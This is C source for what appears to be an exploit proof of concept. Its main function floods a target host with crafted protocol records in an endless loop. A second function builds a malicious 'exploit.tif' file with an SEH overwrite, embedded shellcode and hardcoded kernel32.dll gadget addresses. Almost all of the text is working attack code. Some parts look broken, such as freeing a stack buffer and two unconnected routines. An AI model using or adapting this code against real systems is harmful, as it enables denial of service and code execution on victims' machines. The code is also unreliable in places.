i32 main(i32 argc,i8** argv){
if(argc<2){
printf("%s\n%s\n",POCNAME,AUTHOR);
printf("\tToo few arguments\n syntax is:\n");
syntax();
exit(0);
}
arguments(argc,argv);
i32 sok,i,
svcon,
sokaddr;
i8 *sendbytes=ALOC(i8,32768),
*recevbytes=ALOC(i8,5548);
printf("[*]Starting \n \t...\n");
struct sockaddr_in sockaddr_sok;
sokaddr = sizeof(sockaddr_sok);
sockaddr_sok.sin_family = AF_INET;
sockaddr_sok.sin_addr.s_addr = inet_addr(host);
sockaddr_sok.sin_port = htons(port);
sok=socket(AF_INET,SOCK_STREAM,0);
if(sok==-1){
printf("[*]FAILED SOCKET\n");
exit(0);
}
if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
printf("Error with connection\n");
shutdown(sok,1);
exit(0);
}
if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
printf("Error setting the socket\n");
shutdown(sok,1);
exit(0);
}
if(recv(sok,&ver1,1,0)!=1)
exit(0);
if(recv(sok, &ver2,1,0)!=1)
exit(0);
memset(sendbytes,0,250);
recv(sok,recevbytes,sizeof(recevbytes),0);
for(i=0;;i++) {
if(!(i & 15)) printf("%d\r", i);
sendbytes[0] = ver1;
sendbytes[1] = ver2;
sendbytes[2] = (i & 1) ? 15 : 21;
*(i16 *)(sendbytes + 3) = slen;
if(send(sok, sendbytes, 5, 0) != 5) break;
if(slen) {
memset(sendbytes, i, slen);
if(send(sok, sendbytes, slen, 0) != slen) break;
}
}
shutdown(sok,1);
return 0;
}
void filebuild() {
/*The logic: overwrite seh handler with pop pop ret,overwrite next seh with
jmp ebp,find the exact location ebp points to and write a jmp 0x40 bytes instr.
Because there isn't space for shellcode I chose this jmp ebp option.
And a egghunter wouldn't be the solution because u also need space for it.
*/
i8 tif1[]= {
0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x17, 0x00, 0xFE, 0x00, 0x04, 0x00, 0x01, 0x00,
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFD, 0x01,
0x00, 0x00, 0x01, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB6, 0x01, 0x00, 0x00, 0x02, 0x01,
0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03, 0x01, 0x03, 0x00, 0x83, 0x00,
0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00,
0x00, 0x00, 0x0A, 0x01, 0xB6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x11, 0x01,
0x04, 0x00, 0x37, 0x00, 0x00, 0x00, 0x22, 0x01, 0x00, 0x00, 0x12, 0x01, 0x03, 0x00, 0x01, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x15, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x16, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x17, 0x01,
0x04, 0x00, 0x37, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x00, 0x00, 0x1A, 0x01, 0x05, 0x00, 0x01, 0x00,
0x00, 0x00, 0xDA, 0x02, 0x00, 0x00, 0x1B, 0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE2, 0x02,
0x00, 0x00, 0x1C, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x28, 0x01,
0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x29, 0x01, 0x03, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x43, 0x43, 0xEB, 0x05, 0x8C, 0x08, 0xFC, 0x7F, 0x43, 0x55, 0x89,
0xE5, 0x83, 0xEC, 0x18, 0xC7, 0x45, 0xFC, 0x77, 0x7A, 0x83, 0x7C, 0xC7, 0x44, 0x24, 0x04, 0xD0,
0x03, 0x00, 0x00, 0xC7, 0x04, 0x24, 0x01, 0x0E, 0x00, 0x00, 0x8B, 0x45, 0xFC, 0xFF, 0xD0, 0xC9,0xC3,
};
i8 tif2[]= {
0x92, 0x00, 0x92, 0x00, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAF, 0x00, 0x12, 0x00, 0x00, 0x00,
0x92, 0x00, 0x49, 0x00, 0x12, 0x00, 0x92, 0x00, 0xAF, 0x00, 0x92, 0x00, 0x49, 0x00, 0x49, 0x00,
0x49, 0x00, 0x58, 0x00, 0xAF, 0x00, 0x12, 0x00, 0x58, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
0x57, 0x00, 0x12, 0x00, 0x5A, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x12, 0x00,
0x00, 0x00, 0x46, 0x00, 0xFD, 0x00, 0xD5, 0x00, 0x1B, 0x00, 0xFF, 0x00, 0xEF, 0x00, 0xA9, 0x00,
0xD9, 0x00, 0x00, 0x00, 0x70, 0x00, 0x6C, 0x00, 0xFA, 0x00, 0x99, 0x00, 0xC5, 0x00, 0xF7, 0x00,
0xB4, 0x00, 0x48, 0x00, 0xAB, 0x00, 0xE9, 0x00, 0xDE, 0x00, 0x1B, 0x00, 0xFF, 0x00, 0xD7, 0x00,
0x64, 0x00, 0xA9, 0x00, 0xD9, 0x00, 0x6E, 0x00, 0x68, 0x00, 0x70, 0x00, 0x92, 0x00, 0xCC, 0x00,
0xF2, 0x00, 0x99, 0x00, 0x94, 0x00, 0xE9, 0x00, 0xAD, 0x00, 0xB4, 0x00, 0x4B, 0x00, 0xC9, 0x00,
0x85, 0x00, 0xE9, 0x00, 0xE5, 0x00, 0xB4, 0x00, 0x80, 0x00, 0x98, 0x00, 0x8C, 0x00, 0xE0, 0x00,
0xC4, 0x00, 0x33,
};
/* tif1sz=v[1]
tif2sz[]=v[2]
sehoffset=v[3]
nsehoffset=v[4]
junksz=v[5]
jmpebpoffset=v[6] */
fisier* in=fopen("exploit.in","r"),
* out=fopen("exploit.tif","wb");
//i8 buf=ALOC(i8,100001);
i8 buf[100001];
instr* ASM;
ASM=ALOC(instr,sizeof(instr));
ASM->popopret=0x7C86CFC2;//pop esi pop edi ret from kernel32.dll
ASM->jmpbyte=0xeb400300;//jmp over(u need to cause a exception NOT a exit call,so work on the instr)
ASM->jmpEBP=0x7C81ACD3;//JMP EBP from kernel32.dll
memcpy(tif1+217,&ASM->popopret,4);
memcpy(tif1+213,&ASM->jmpEBP,4);
memcpy(tif1+29,&ASM->jmpbyte,4);
if(out){
fwrite(tif1,sizeof(i8),sizeof(tif1),out);
gen_random(&buf,940);
fwrite(&buf,sizeof(i8),940,out);
fwrite(tif2,sizeof(i8),sizeof(tif2),out);
fclose(out);
free(buf);
}
else {
error();
}
}
